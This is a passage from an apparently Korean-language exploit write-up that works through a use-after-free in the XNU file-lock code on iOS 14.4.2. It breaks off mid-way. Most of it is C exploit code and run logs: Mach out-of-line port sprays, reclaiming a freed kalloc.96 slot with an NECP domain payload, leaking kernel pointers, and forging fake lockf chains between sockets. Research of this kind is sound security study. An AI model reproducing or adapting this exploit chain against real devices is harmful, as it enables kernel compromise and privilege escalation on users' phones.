0xFFFFFFE4CDE8C960\n[STAGE2] tfp0_find_port(fileport_name) = 0xFFFFFFE19D318348\n[i] Leaked fileglob kptr = 0xFFFFFFE19FFF5920\n[i] thread-message channel: 32 ports, qlimit=0x400, capacity=0x8000\n[STAGE3] main:1380\n[STAGE3] i=0 name=0x2803 port=0xFFFFFFE19D87AB50 ikmq_base=0xFFFFFFE19D87AB50 receiver_name=0x9D87AB50 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=1 name=0x2703 port=0xFFFFFFE19E093E58 ikmq_base=0xFFFFFFE19E093E58 receiver_name=0x9E093E58 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=2 name=0x2603 port=0xFFFFFFE1A0161C38 ikmq_base=0xFFFFFFE1A0161C38 receiver_name=0xA0161C38 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=3 name=0x2503 port=0xFFFFFFE19FC98FC0 ikmq_base=0xFFFFFFE19FC98FC0 receiver_name=0x9FC98FC0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=4 name=0x1803 port=0xFFFFFFE19E571B90 ikmq_base=0xFFFFFFE19E571B90 receiver_name=0x9E571B90 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=5 name=0x2403 port=0xFFFFFFE19FF25998 ikmq_base=0xFFFFFFE19FF25998 receiver_name=0x9FF25998 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=6 name=0x1903 port=0xFFFFFFE19EE09F80 ikmq_base=0xFFFFFFE19EE09F80 receiver_name=0x9EE09F80 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=7 name=0x2303 port=0xFFFFFFE19E572958 ikmq_base=0xFFFFFFE19E572958 receiver_name=0x9E572958 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=8 name=0x1A03 port=0xFFFFFFE19D5656F8 ikmq_base=0xFFFFFFE19D5656F8 receiver_name=0x9D5656F8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=9 name=0x1B03 port=0xFFFFFFE19E550738 ikmq_base=0xFFFFFFE19E550738 receiver_name=0x9E550738 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=10 name=0x1C03 port=0xFFFFFFE19D7C3918 ikmq_base=0xFFFFFFE19D7C3918 receiver_name=0x9D7C3918 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=11 name=0x2203 port=0xFFFFFFE19FBF9068 ikmq_base=0xFFFFFFE19FBF9068 receiver_name=0x9FBF9068 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=12 name=0x1D03 port=0xFFFFFFE19E241A40 ikmq_base=0xFFFFFFE19E241A40 receiver_name=0x9E241A40 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=13 name=0x2103 port=0xFFFFFFE19EFB2178 ikmq_base=0xFFFFFFE19EFB2178 receiver_name=0x9EFB2178 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=14 name=0x1E03 port=0xFFFFFFE19FC6BDB0 ikmq_base=0xFFFFFFE19FC6BDB0 receiver_name=0x9FC6BDB0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=15 name=0x1F03 port=0xFFFFFFE19E572610 ikmq_base=0xFFFFFFE19E572610 receiver_name=0x9E572610 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=16 name=0x2003 port=0xFFFFFFE19FF766B8 ikmq_base=0xFFFFFFE19FF766B8 receiver_name=0x9FF766B8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=17 name=0x2A03 port=0xFFFFFFE19E114DC8 ikmq_base=0xFFFFFFE19E114DC8 receiver_name=0x9E114DC8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=18 name=0x5403 port=0xFFFFFFE1A01ECD20 ikmq_base=0xFFFFFFE1A01ECD20 receiver_name=0xA01ECD20 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=19 name=0x5303 port=0xFFFFFFE19E21DAE8 ikmq_base=0xFFFFFFE19E21DAE8 receiver_name=0x9E21DAE8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=20 name=0x2B03 port=0xFFFFFFE19EFB2FE8 ikmq_base=0xFFFFFFE19EFB2FE8 receiver_name=0x9EFB2FE8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=21 name=0x2C03 port=0xFFFFFFE19D96BC60 ikmq_base=0xFFFFFFE19D96BC60 receiver_name=0x9D96BC60 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=22 name=0x2D03 port=0xFFFFFFE19FC691B8 ikmq_base=0xFFFFFFE19FC691B8 receiver_name=0x9FC691B8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=23 name=0x2E03 port=0xFFFFFFE19FC4E4C0 ikmq_base=0xFFFFFFE19FC4E4C0 receiver_name=0x9FC4E4C0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=24 name=0x2F03 port=0xFFFFFFE19E0CDAE8 ikmq_base=0xFFFFFFE19E0CDAE8 receiver_name=0x9E0CDAE8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=25 name=0x5203 port=0xFFFFFFE19FC4F9C0 ikmq_base=0xFFFFFFE19FC4F9C0 receiver_name=0x9FC4F9C0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=26 name=0x3003 port=0xFFFFFFE19D31BBB8 ikmq_base=0xFFFFFFE19D31BBB8 receiver_name=0x9D31BBB8 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=27 name=0x3103 port=0xFFFFFFE19FF25A40 ikmq_base=0xFFFFFFE19FF25A40 receiver_name=0x9FF25A40 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=28 name=0x5103 port=0xFFFFFFE19E1C0000 ikmq_base=0xFFFFFFE19E1C0000 receiver_name=0x9E1C0000 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=29 name=0x3203 port=0xFFFFFFE19DE43DB0 ikmq_base=0xFFFFFFE19DE43DB0 receiver_name=0x9DE43DB0 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=30 name=0x3303 port=0xFFFFFFE19FBF8930 ikmq_base=0xFFFFFFE19FBF8930 receiver_name=0x9FBF8930 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n[STAGE3] i=31 name=0x3403 port=0xFFFFFFE1A01EDF80 ikmq_base=0xFFFFFFE1A01EDF80 receiver_name=0xA01EDF80 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E58D2C0\n<\/code><\/pre>\n<h3>4. <code>readpipe_ipc_port_kptr<\/code> \uc8fc\uc18c\uac12 \uc720\ucd9c<\/h3>\n<p>C\uacf5\uac04\uc744 \ud55c\ubc88\ub354 \uc7ac\uc810\uc720\ud558\ub294\ub370, 2\ubc88 \uacfc\uc815\uacfc \ube44\uc2b7\ud558\ub2e4.<\/p>\n<p>\uc7ac\uc810\uc720\ud558\uae30\uc804\uc5d0 C\uacf5\uac04\uc744 free\uc2dc\ucf1c\uc57c\ud558\ub294\ub370, pending\ub41c OOL \uba54\uc2dc\uc9c0\ub97c <code>mach_msg<\/code>\ub85c \uc218\uc2e0\ubc1b\uc73c\uba74 \ud574\uc81c\uac00 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/\/ Free the OOL array, then reallocate to get readpipe fileport's ipc_port *\n    \/\/ Receive the pending OOL message to free the OOL port array\n    mach_msg_empty_rcv_t receive_message = {0};\n    mach_msg(\n    &amp;receive_message.header,\n    MACH_RCV_MSG | MACH_RCV_INTERRUPT,\n    0,\n    0,\n    reply_port,\n    MACH_MSG_TIMEOUT_NONE,\n    MACH_PORT_NULL);\n<\/code><\/pre>\n<p>\uc774\ub7ec\ud55c \uc774\uc720\ub294 \ucee4\ub110\uc5d0\uc11c<\/p>\n<p><code>mach_msg_overwrite_trap<\/code>\n\u2192 <code>mach_msg_receive_results<\/code>\n\u2192 <code>msg_receive_error<\/code>\n\u2192 <code>ipc_kmsg_copyout_dest<\/code>\n\u2192 <code>ipc_kmsg_clean_body<\/code><\/p>\n<p><code>ipc_kmsg_clean_body<\/code> \uc5d0\uc11c \ucd5c\uc885\uc801\uc73c\ub85c \ub514\uc2a4\ud06c\ub9bd\ud130 \ubc30\uc5f4 \uc218\ub9cc\ud07c kfree\ud574\uc8fc\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-29_at_10.32.08_AM.png\" alt=\"Screenshot 2026-07-29 at 10.32.08\u202fAM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-29_10.05.15.excalidraw-fs8.png\" alt=\"Drawing 2026-07-29 10.05.15.excalidraw-fs8.png\"><\/p>\n<p>\uc774\ubc88\uc5d0\ub294 pipe fd\ub97c fileport\ub85c \ubcc0\ud658\uc2dc\ucf20 \ud3ec\ud2b8\ub85c \ub123\uc5b4 96\ubc14\uc774\ud2b8 descriptor \ubc30\uc5f4\uc774 \ud560\ub2f9\ub418\uac8c \ub9cc\ub4e0\ub2e4. \uadf8\ub7ec\uba74 <code>ofd_get_lock<\/code> \uc5d0\uc11c \ubc18\ud658\ub41c <code>fl-&gt;lf_start<\/code>\uac12\uc744 \ud68d\ub4dd\ud558\uc5ec pipe fileport\uc758 ipc port \uc8fc\uc18c\ub97c leak\uc2dc\ud0ac \uc218 \uc788\ub2e4.<\/p>\n<p>\uc774\ub7ec\ud55c leak\uc774 \ud544\uc694\ud55c \uc774\uc720\ub294 \uc544\uc9c1 \uc784\uc758 \uc77d\uae30\uac00 \uc5c6\ub294 \uc0c1\ud0dc\uc5d0\uc11c secondary pipe\uc758 \ucee4\ub110 \uac1d\uccb4\uae4c\uc9c0 \uc811\uadfc\ud558\uae30 \uc704\ud574\uc11c\uc778\ub370, \ucd5c\ucd08\uc758 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uad6c\ud604\ud558\ub294\ub370 \ud544\uc694\ud55c <code>first_read_address = readpipe_ipc_port_kptr + 0x68;<\/code> \ucf54\ub4dc\uc5d0\uc11c \ud544\uc694\ud55c\ub370, fd table \uc5c6\uc774 readpipe fileglob\ub97c \ucc3e\uc744 \uc218 \uc788\ub294 \uc5f0\uacb0 \uace0\ub9ac\uac00 \ub420 \uc218\ub3c4 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<pre><code>readpipe ipc_port *\n  \u2192 ip_kobject\n  \u2192 readpipe fileglob *\n  \u2192 fg_data\n  \u2192 read-side struct pipe *\n  \u2192 pipe_buffer.buffer\n  \u2192 controllable pipe backing\n<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ 00000000000072E4\nkern_return_t spray_default_kalloc_ool_ports_with_dead(mach_port_t where, mach_port_t target_port) {\n    const int port_cnt = 12;\n    mach_port_t* ports = malloc(sizeof(mach_port_t) * port_cnt);\n    for (int i = 0; i &lt; port_cnt; i++) {\n        ports[i] = target_port;\n    }\n    ports[2] = MACH_PORT_DEAD;\n\n    struct default_msg* message = (struct default_msg*)calloc(1, sizeof(struct default_msg));\n    message-&gt;header.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    message-&gt;header.msgh_size = sizeof(struct default_msg);\n    message-&gt;header.msgh_remote_port = where;\n    message-&gt;body.msgh_descriptor_count = 1;\n    message-&gt;descriptor.address = ports;\n    message-&gt;descriptor.deallocate = false;\n    message-&gt;descriptor.copy = MACH_MSG_PHYSICAL_COPY;\n    message-&gt;descriptor.disposition = MACH_MSG_TYPE_COPY_SEND;\n    message-&gt;descriptor.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    message-&gt;descriptor.count = port_cnt;\n\n    kern_return_t kr = mach_msg(\n      &amp;message-&gt;header,\n      MACH_SEND_MSG | MACH_SEND_INTERRUPT | MACH_SEND_NOIMPORTANCE,\n      message-&gt;header.msgh_size,\n      0,\n      MACH_PORT_NULL,\n      MACH_MSG_TIMEOUT_NONE,\n      MACH_PORT_NULL);\n\n    free(message);\n    free(ports);\n\n    if (kr) {\n        printf(&quot;[-] Failed to send OOL message: 0x%x (%s)\\n&quot;, kr, mach_error_string(kr));\n        return KERN_FAILURE;\n    }\n    return KERN_SUCCESS;\n}\n\nint main(void) {\n\/\/...\n    \/\/ create secondary readpipe file port\n    mach_port_name_t fileport_readpipe = MACH_PORT_NULL;\n    fileport_makeport(pipe_fd_2[0], &amp;fileport_readpipe);\n    \n\t\t\/\/...\n\t\t\n    \/\/ reallocate it and leak\n    spray_default_kalloc_ool_ports_with_dead(reply_port, fileport_readpipe);\n    memset(fl, 0, sizeof(struct flock));\n    ofd_get_lock(urandom_fd, 0, 0, fl);\n    uint64_t readpipe_ipc_port_kptr = fl-&gt;l_start;\n    printf(&quot;[i] Leaked readpipe_ipc_port kptr = 0x%llX\\n&quot;, readpipe_ipc_port_kptr);\n\/\/...\n}\n<\/code><\/pre>\n<h3>5. NECP Payload\ub85c C\uacf5\uac04 \uc7ac\uc810\uc720<\/h3>\n<p>\ub2e4\uc2dc\ud55c\ubc88 pending\ub41c OOL \uba54\uc2dc\uc9c0\ub97c <code>mach_msg<\/code>\ub85c \uc218\uc2e0\ubc1b\uc544 \ud560\ub2f9\ud574\uc81c\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">    \/\/ stage 5.\n    \/\/ Free OOL #2 directly\n    mach_msg(&amp;receive_message.header, MACH_RCV_MSG | MACH_RCV_INTERRUPT, 0, 0, reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n<\/code><\/pre>\n<p>\uc774\uc804\uc5d0 \uc5f4\uc5b4\ub454 \uc18c\ucf13 fd\ub97c \uc774\uc6a9\ud574\uc11c NECP DOMAIN\uc73c\ub85c 0x60\ud06c\uae30\ub9cc\ud07c \uc7ac\uc810\uc720\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/*\n * Install a 0x5f-byte NECP domain. XNU appends its NUL terminator, so the\n * persistent domain allocation is 0x60 bytes. OOL #3 is freed by main().\n *\/\nint allocate_necp_domain(\n    int necp_socket,\n    const uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE])\n{\n    struct necp_domain_option option = {0};\n\n    if (payload == NULL ||\n        payload[NECP_DOMAIN_PAYLOAD_SIZE - 1] != 0) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    option.type = NECP_TLV_ATTRIBUTE_DOMAIN;\n    option.length = NECP_DOMAIN_STRING_LENGTH;\n    memcpy(option.value, payload, NECP_DOMAIN_STRING_LENGTH);\n\n    return setsockopt(\n        necp_socket,\n        SOL_SOCKET,\n        SO_NECP_ATTRIBUTES,\n        &amp;option,\n        (socklen_t)sizeof(option));\n}\n\nint main(void) {\n\/\/ ...\n    \/\/ prepare necp payload\n    \/*\n     * Resulting 0x60-byte domain contents:\n     *\n     *   +0x00  0x2222222222221111\n     *   +0x08  &quot;33333333&quot;\n     *   +0x10  &quot;DDDDDDDD&quot;\n     *   +0x18  &quot;UUUUUUUU&quot;\n     *   +0x20  &quot;ffffffff&quot;\n     *   +0x28  &quot;wwwwwwww&quot;\n     *   +0x30..+0x5f  zero\n     *\/\n    uint8_t necp_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};\n    static const uint64_t first_necp_words[] = {\n        0x2222222222221111ULL,\n        0x3333333333333333ULL,\n        0x4444444444444444ULL,\n        0x5555555555555555ULL,\n        0x6666666666666666ULL,\n        0x7777777777777777ULL,\n    };\n    memcpy(necp_payload, first_necp_words, sizeof(first_necp_words));\n\n    \/\/ Reoccupy the released 0x60 slot with the persistent NECP domain.\n    if (allocate_necp_domain(socket_fd[0], necp_payload) != 0) {\n        printf(&quot;[-] failed to allocate NECP domain: %s(%d)\\n&quot;, strerror(errno), errno);\n        return -1;\n    }\n\/\/ ...\n}\n<\/code><\/pre>\n<p>C \ucee4\ub110 \uacf5\uac04\uc5d0\ub294 \uc774\uc81c <code>necp_payload<\/code> \ub370\uc774\ud130\ub85c \uad6c\uc131\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Screenshot_2026-07-29_at_11.45.17_AM.png\" alt=\"Screenshot 2026-07-29 at 11.45.17\u202fAM.png\"><\/p>\n<p>\ucee4\ub110\uc5d0\uc11c \ud568\uc218\ub4e4\uc744 \ub530\ub77c\uac00\ubcf4\uba74,<\/p>\n<p><code>allocate_necp_payload<\/code>\n\u2192 <code>setsockopt<\/code>\n\u2192 <code>sosetoptlock<\/code>\n\u2192 <code>necp_set_socket_attributes<\/code>\n\u2192 <code>necp_set_socket_attribute<\/code><\/p>\n<p><code>necp_set_socket_attributes()<\/code>\uc5d0\uc11c\ub294 \uc785\ub825 buffer\uc5d0\uc11c \ub450 \uac00\uc9c0 TLV\ub97c \uac01\uac01 \ucc3e\uc73c\uba70, <code>NECP_TLV_ATTRIBUTE_DOMAIN(7)<\/code>\uacfc <code>NECP_TLV_ATTRIBUTE_ACCOUNT(8)<\/code>\uc744 \ucc3e\ub294\ub2e4. \uc774\uc911\uc5d0\uc11c type <code>NECP_TLV_ATTRIBUTE_DOMAIN(7)<\/code>\uc774 \ubc1c\uacac\ub428\uc73c\ub85c\uc368 0x60 \ud06c\uae30\ub97c \ucee4\ub110\uc5d0\uc11c \ud560\ub2f9\ubc1b\uac8c \ub41c\ub2e4.<\/p>\n<p><code>necp_set_socket_attributes<\/code> \uc5d0\uc11c 0x60\ud06c\uae30\ub97c <code>default.kalloc.96<\/code> \uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\ub294\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-29_10.59.47.excalidraw-fs8.png\" alt=\"Drawing 2026-07-29 10.59.47.excalidraw-fs8.png\"><\/p>\n<p>\uc2e4\uc81c\ub85c C\uacf5\uac04\uc774\uc5c8\ub358 \uacf3\uc5d0 \uc7ac\uc810\uc720\uac00 \uc798\ub418\uc5c8\ub294\uc9c0 \ud655\uc778\ud574\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">#if ENABLE_HELPER \n    printf(&quot;[STAGE 5] did allocated necp domain well?\\n&quot;);\n    uint64_t fileglob = get_fileglob_by_fd(socket_fd[0]);   \n    uint64_t socket_kaddr = tfp0_kread64(fileglob + 0x38);        \/\/ fileglob::fg_data  \/\/ (lldb) p\/x offsetof(fileglob, fg_data)\n    uint64_t inpcb_kaddr = tfp0_kread64(socket_kaddr + 0x10);    \/\/ socket::so_pcb      \/\/ (lldb) p\/x offsetof(socket, so_pcb)\n    uint64_t domain_kaddr = tfp0_kread64(inpcb_kaddr + 0x168);    \/\/ inpcb::inp_domain  \/\/ (lldb) p\/x offsetof(inpcb, inp_necp_attributes.inp_domain)\n    printf(&quot;[STAGE 5] domain_kaddr = 0x%llX\\n&quot;, domain_kaddr);\n    getchar();\n#endif\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc:<\/p>\n<pre><code class=\"language-c\">iPhone-8--1442:~ root# pendulum\n[i] offsets selected for iOS 14.4.2\ntfp0: 0x1103\ntfp0_get_kbase ret: 0, tfp0_kbase: 0xfffffff0167b4000, tfp0_kslide: 0xf7b0000\n[i] opened urandom fd: 6\n[STAGE1] urandom_vnode = 0xFFFFFFE19CD4AAA0, urandom_fileglob = 0xFFFFFFE19F63FA20\n[STAGE1] v_lockf(A) = 0xFFFFFFE4CDF9C900\n[STAGE1] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0x0\n========================\n[STAGE1.1] v_lockf(A) = 0xFFFFFFE4CDF9C900\n[STAGE1.1] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1.1] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0xFFFFFFE4CDF7CA20\n[STAGE1.1] v_lockf(B) = 0xFFFFFFE4CDF7CA20\n[STAGE1.1] v_lockf(B)-&gt;lf_start = 9223372036854775807, lf_end = -1\n[STAGE1.1] v_lockf(B)-&gt;lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0x0\n========================\n[STAGE1.2] v_lockf(A) = 0xFFFFFFE4CDF9C900\n[STAGE1.2] v_lockf(A)-&gt;lf_start = 10, lf_end = 19\n[STAGE1.2] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0xFFFFFFE4CDF7CA20\n[STAGE1.2] v_lockf(B) = 0xFFFFFFE4CDF7CA20\n[STAGE1.2] v_lockf(B)-&gt;lf_start = -9223372036854775808, lf_end = -1\n[STAGE1.2] v_lockf(B)-&gt;lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0x0\n========================\n[STAGE1.3] v_lockf(A) = 0xFFFFFFE4CDF9C900\n[STAGE1.3] v_lockf(A)-&gt;lf_start = 10, lf_end = 14\n[STAGE1.3] v_lockf(A)-&gt;lf_head = 0xFFFFFFE19CD4AB68, lf_next = 0xFFFFFFE4CDFD0D80\n[STAGE1.3] v_lockf(DANGLING C) = 0xFFFFFFE4CDFD0D80\n[STAGE1.3] Since C is freed, however, the contents of C's memory are no longer guaranteed, leaving a dangling pointer!\n[0xffffffe4cdfd0d80+0x000] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdfd0d80+0x010] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdfd0d80+0x020] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdfd0d80+0x030] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdfd0d80+0x040] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n[0xffffffe4cdfd0d80+0x050] 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................\n========================\n[STAGE2] Reoccupied with OOL ports allocation kaddr (KHEAP_DEFAULT\/kalloc.96) = 0xFFFFFFE4CDFD0D80\n[STAGE2] tfp0_find_port(fileport_name) = 0xFFFFFFE19DFB09D8\n[i] Leaked fileglob kptr = 0xFFFFFFE19F63FA20\n[i] thread-message channel: 32 ports, qlimit=0x400, capacity=0x8000\n...\n[i] Leaked readpipe_ipc_port kptr = 0xFFFFFFE19E755A40\n[STAGE 5] did allocated necp domain well?\n[STAGE 5] domain_kaddr = 0xFFFFFFE4CDFD0D80\n<\/code><\/pre>\n<h3>6. socket0\/socket1\uc73c\ub85c fake lock C\/B0 \uc81c\uc5b4\ud558\uae30<\/h3>\n<p>\ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4. \ud558\ub098\uc529 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<pre><code class=\"language-c\">int prepare_socket_lockf_pair(int lock_fd, \n    struct minimal_thread_message_channel *channel, \n    int socket0, int socket1, \n    uint64_t initial_read_address, uint64_t *socket1_domain_kaddr_out)\n{\n    off_t lock_start = LOCK_PROBE_INITIAL_START;\n    off_t lock_length = LOCK_PROBE_INITIAL_LENGTH;\n    uint8_t observed_payload[NECP_DOMAIN_PAYLOAD_SIZE] = {0};\n    uint32_t observed_length = 0;\n    uint64_t socket1_domain_kaddr = 0;\n\n    if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {\n        return -1;\n    }\n\n    while (1) {\n        if (read_necp_domain(socket0, observed_payload, &amp;observed_length) != 0) {\n            return -1;\n        }\n\n        \/* Initial strlen is 48.  A nonzero 8-byte C-&gt;lf_next makes it 56. *\/\n        if (observed_length &gt;= LOCK_PROBE_LINK_OFFSET + sizeof(uint64_t)) {             \/\/ TRIGGERED\n            memcpy(&amp;socket1_domain_kaddr, observed_payload + LOCK_PROBE_LINK_OFFSET, sizeof(socket1_domain_kaddr));\n            break;\n        } \n\n        --lock_start;\n        lock_length += 2;\n        if (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {\n            return -1;\n        }\n\n        if (send_one_thread_channel_message(channel) != KERN_SUCCESS) {\n            errno = EIO;\n            return -1;\n        }\n\n        \/* Match the recovered loop's lower bound; it does not guess B. *\/\n        if (lock_start == LOCK_PROBE_LAST_START) {\n            errno = EFAULT;\n            return -1;\n        }\n    }\n\n    if (!looks_like_kernel_pointer(socket1_domain_kaddr)) {\n        errno = EFAULT;\n        return -1;\n    }\n\n    \/* Free B, but deliberately do not pin it with another OOL allocation. *\/\n    if (set_posix_lock(lock_fd, F_RDLCK, lock_start - 1, lock_length + 2) != 0) {\n        return -1;\n    }\n\n    if (install_socket_lockf_pair(socket0, socket1, socket1_domain_kaddr, initial_read_address) != 0) {\n        return -1;\n    }\n\n    *socket1_domain_kaddr_out = socket1_domain_kaddr;\n    return 0;\n}\n\nint main(void) {\n\/\/...\n\/\/ control fake lockf via socket0\/socket1\n    uint64_t socket1_domain_kaddr = 0;\n    const uint64_t first_read_address = readpipe_ipc_port_kptr + XNU7195_PROC_PID_OFFSET;\n\n    if (prepare_socket_lockf_pair(\n            urandom_fd,\n            &amp;thread_channel,\n            socket_fd[0],\n            socket_fd[1],\n            first_read_address,\n            &amp;socket1_domain_kaddr) != 0) {\n        printf(&quot;[-] failed to prepare socket fake-lockf pair: %s(%d)\\n&quot;, strerror(errno), errno);\n        return -1;\n    }\n    printf(&quot;[i] socket1 DOMAIN kernel address = 0x%llX\\n&quot;, socket1_domain_kaddr);\n\/\/...\n}\n<\/code><\/pre>\n<p><code>prepare_socket_lockf_pair<\/code>\uc5d0\uc11c <code>set_posix_lock<\/code>\uc774 \ucc98\uc74c \ud638\ucd9c\ub418\ub294 \uc21c\uac04, \uc544\ub798\uc640 \uac19\uc774 \uc0c8\ub85c\uc6b4 B0 lock\uc774 \uc0dd\uc131\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/* These grooming locks are POSIX F_SETLK locks, not F_OFD_SETLK locks. *\/\nint set_posix_lock(int fd, short type, off_t start, off_t length)\n{\n    struct flock fl = {\n        .l_start = start,   \n        .l_len = length, \n        .l_pid = 0,\n        .l_type = type, \n        .l_whence = SEEK_SET,\n    };\n\n    return fcntl(fd, F_SETLK, &amp;fl);\n}\n\n\/\/...\n\nif (set_posix_lock(lock_fd, F_RDLCK, lock_start, lock_length) != 0) {\n    return -1;\n}\n<\/code><\/pre>\n<p>\ud638\ucd9c\ub418\uae30 \uc804 lock list \uad6c\uc870\ub294 \uc544\ub798\uc640 \uac19\uc558\uc73c\ub098,<\/p>\n<p><code>v_lockf -&gt; A[10,14] -&gt; C(socket0 DOMAIN) -&gt; NULL<\/code><\/p>\n<p>\ud638\ucd9c \uc774\ud6c4\ub294 \uc544\ub798\ucc98\ub7fc \ubc14\ub010\ub2e4. fake lockf C\uc5d0 lf_next \ud544\ub4dc\uc5d0 \uc0c8\ub85c\uc6b4 B0 lock \uac1d\uccb4\ub97c \uac00\ub9ac\ud0a4\ub3c4\ub85d \uc8fc\uc18c\uac12\uc774 \uc368\uc838\uc788\ub2e4. B0 lock \uac1d\uccb4\uc758 lf_start, lf_end\ub294 \ub458\ub2e4 100\uc774 \ub418\uba70, lf_next\ub294 NULL\uc774\ub2e4.<\/p>\n<p><code>v_lockf A[10,14] -&gt; C(socket0 DOMAIN) -&gt; new B0[100, 100] -&gt; NULL<\/code><\/p>\n<p><img decoding=\"async\" 